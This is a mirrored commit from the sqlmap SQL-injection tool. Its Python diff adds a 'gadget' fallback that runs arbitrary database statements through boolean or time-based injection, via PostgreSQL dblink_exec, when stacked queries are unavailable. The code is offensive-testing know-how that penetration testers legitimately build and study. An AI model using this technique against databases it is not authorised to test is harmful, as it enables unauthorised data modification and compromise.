mirror of
https://github.com/sqlmapproject/sqlmap.git
synced 2026-10-12 02:22:55 +00:00
Adding gadget fallback for non-query statement execution without stacked queries (PostgreSQL dblink)
This commit is contained in:
@@ -2255,6 +2255,7 @@ def _setKnowledgeBaseAttributes(flushAll=True):
|
||||
kb.forkNote = None
|
||||
kb.futileUnion = None
|
||||
kb.fuzzUnionTest = None
|
||||
kb.gadget = None
|
||||
kb.heavilyDynamic = False
|
||||
kb.headersFile = None
|
||||
kb.headersFp = {}
|
||||
|
||||
@@ -20,7 +20,7 @@ from lib.core.enums import OS
|
||||
from thirdparty import six
|
||||
|
||||
# sqlmap version (<major>.<minor>.<month>.<monthly commit>)
|
||||
VERSION = "1.10.8.47"
|
||||
VERSION = "1.10.8.48"
|
||||
TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable"
|
||||
TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34}
|
||||
VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE)
|
||||
|
||||
@@ -48,6 +48,9 @@ from lib.core.data import conf
|
||||
from lib.core.data import kb
|
||||
from lib.core.data import logger
|
||||
from lib.core.data import queries
|
||||
from lib.core.convert import encodeHex
|
||||
from lib.core.convert import getBytes
|
||||
from lib.core.convert import getUnicode
|
||||
from lib.core.decorators import lockedmethod
|
||||
from lib.core.decorators import stackedmethod
|
||||
from lib.core.dicts import FROM_DUMMY_TABLE
|
||||
@@ -834,6 +837,36 @@ def getValue(expression, blind=True, union=True, error=True, time=True, fromUser
|
||||
|
||||
return extractExpectedValue(value, expected)
|
||||
|
||||
def getGadget():
|
||||
"""
|
||||
Returns a 'gadget' (a side-effecting scalar expression usable through a
|
||||
regular - e.g. boolean/time-based - injection) that can run an arbitrary
|
||||
statement when stacked queries are not available (e.g. dblink_exec() on
|
||||
PostgreSQL). Detection is done once and cached inside 'kb.gadget'.
|
||||
"""
|
||||
|
||||
if kb.gadget is None:
|
||||
kb.gadget = False
|
||||
|
||||
dbms = Backend.getIdentifiedDbms()
|
||||
|
||||
if dbms is not None and "gadgets" in queries[dbms]:
|
||||
for name, gadget in queries[dbms].gadgets.__dict__.items():
|
||||
try:
|
||||
available = checkBooleanExpression(gadget.check)
|
||||
except Exception:
|
||||
available = False
|
||||
|
||||
if available:
|
||||
infoMsg = "using '%s' gadget to run statement(s) as " % name
|
||||
infoMsg += "stacked queries are not available"
|
||||
logger.info(infoMsg)
|
||||
|
||||
kb.gadget = gadget
|
||||
break
|
||||
|
||||
return kb.gadget or None
|
||||
|
||||
def goStacked(expression, silent=False):
|
||||
if PAYLOAD.TECHNIQUE.STACKED in kb.injection.data:
|
||||
setTechnique(PAYLOAD.TECHNIQUE.STACKED)
|
||||
@@ -849,6 +882,18 @@ def goStacked(expression, silent=False):
|
||||
if conf.direct:
|
||||
return direct(expression)
|
||||
|
||||
if PAYLOAD.TECHNIQUE.STACKED not in kb.injection.data:
|
||||
gadget = getGadget()
|
||||
|
||||
if gadget:
|
||||
warnMsg = "statement execution through a gadget is best-effort "
|
||||
warnMsg += "and its result (if any) can not be retrieved"
|
||||
singleTimeWarnMessage(warnMsg)
|
||||
|
||||
payload = getUnicode(gadget.command) % getUnicode(encodeHex(getBytes(expression), binary=False))
|
||||
checkBooleanExpression("(%s) IS NOT NULL" % payload)
|
||||
return
|
||||
|
||||
query = agent.prefixQuery(";%s" % expression)
|
||||
query = agent.suffixQuery(query)
|
||||
payload = agent.payload(newValue=query)
|
||||
|
||||
Reference in New Issue
Block a user